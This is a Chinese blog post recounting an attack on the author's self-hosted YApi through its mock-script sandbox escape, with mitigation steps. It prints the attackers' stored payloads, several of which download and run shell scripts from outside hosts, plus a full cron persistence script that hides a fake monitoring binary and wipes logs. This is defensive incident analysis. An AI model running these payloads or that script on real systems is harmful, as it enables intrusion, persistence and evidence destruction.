YApi 漏洞复盘及解决方案

今天为了 OPPO 商城的学生认证上了一下教育邮箱,去邮箱验证的时候发现收件箱收了一堆莫名其妙的退信,然后再一看发件箱,发现被拿来发了一堆的广告,感觉大事不妙。

扫了一下发件箱,发现有一条发送给某个随机邮箱说 YApi 注册成功的信息,我在自己的公网服务上是部署了一个 YApi,又想到好像最近有 YApi 的漏洞。

于是登上了 YApi 看了一下,注册用户中果然多了一堆莫名的乱码帐号。

看起来服务器是安然无恙的,所幸我是用 Docker 运行的 YApi。

漏洞概述

让专业的人来说:

Yapi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

2021 年 7 月 8 日,有用户在 GitHub 上发布了遭受攻击的相关信息。攻击者通过注册用户,并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require('vm') 来构建沙箱环境,而攻击者可以通过原型链改变沙箱环境运行的上下文,从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()") 即可获得一个 process 对象。

推荐大家看看这个原文。

好嘛,解决它

这还是我第一次直面漏洞。

看了一些解决方案:

所以接下来就是关闭漏洞利用 & 止损。

升级版本

更新 Yapi 至官方发布的 1.9.3,新版本用了更为安全的 safeify 模块,可以有效地防止这个漏洞。

我用的是 https://github.com/fjc0k/docker-YApi

docker-compose pull yapi-web \
  && docker-compose down \
  && docker-compose up -d

关闭 YAPI 用户注册功能

docker-compose.yml 配置环境变量 YAPI_CLOSE_REGISTER 为 true 即可。

然后重启 compose:

docker-compose restart

删除 mock 脚本

首先进入 Mongo 的容器内,然后连接数据库,删除掉已有的 mock 脚本:

docker-compose exec yapi-mongo /bin/bash
mongo

# 数据库相关操作
> show dbs
> use yapi
> show tables

然后就能看到本地已有的表,需要删除 mock 脚本,先看一下有什么 Mock 脚本:

> db.adv_mock.find()
# 就能看到一堆 带有 sandbox 字样的 mock_script
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n        const sandbox = this; // 获取Context\n        const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数\n        const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数\n        const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量\n        const process = myfun();\n        mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }

> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})

可以看到是真的有很多利用脚本。。。

打开一个 cron.sh 看了一下:

#!/bin/bash

crondir1='/var/spool/cron/'"$USER"
crondir2='/var/spool/cron/crontabs/'"$USER"

chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr

unlock_cron()
{
    chattr -ia /etc/crontab
    chattr -R -ia /var/spool/cron
    chattr -R -ia /var/spool/cron/crontabs
    chattr -R -ia /etc/cron.d
}

lock_cron()
{
    chattr +ia ${crondir1}
    chattr +ia ${crondir2}
    chattr +ia /etc/cron.d/zabbix_client
}

rtdir="/etc/zabbix_flag"
echo 1 > ${rtdir}

if [ -f "$rtdir" ]
then
    mv /tmp/zabbix_client /etc/zabbix_client
    unlock_cron
    cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1}
    cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2}
    cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client
    cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" ||              echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab -    
    lock_cron
    chmod 777 /etc/zabbix_client
    chattr +ia /etc/zabbix_client
else
    unlock_cron
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab -
    lock_cron
    chmod 777 /tmp/zabbix_client
    chattr +ia /tmp/zabbix_client
fi
iptables -A OUTPUT -p tcp -j ACCEPT
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
rm /etc/zabbix_flag
rm cron.sh

搜了一下 rabbix 是什么:Real-time monitoring of IT components and services, such as networks, servers, VMs, applications and the cloud.

但是用 docker 的好处就出现了~docker-compose 停止再启动,一切利用都木有了…

后记

这个漏洞很早之前就看过相关新闻,但没联想到会发生在自己身上… 看记录,6.4 号就有人注册了新的 yapi 帐号,止血太晚~

还好是执行在容器里的服务,没有造成太大的损失。

参考链接

总得有个结尾吧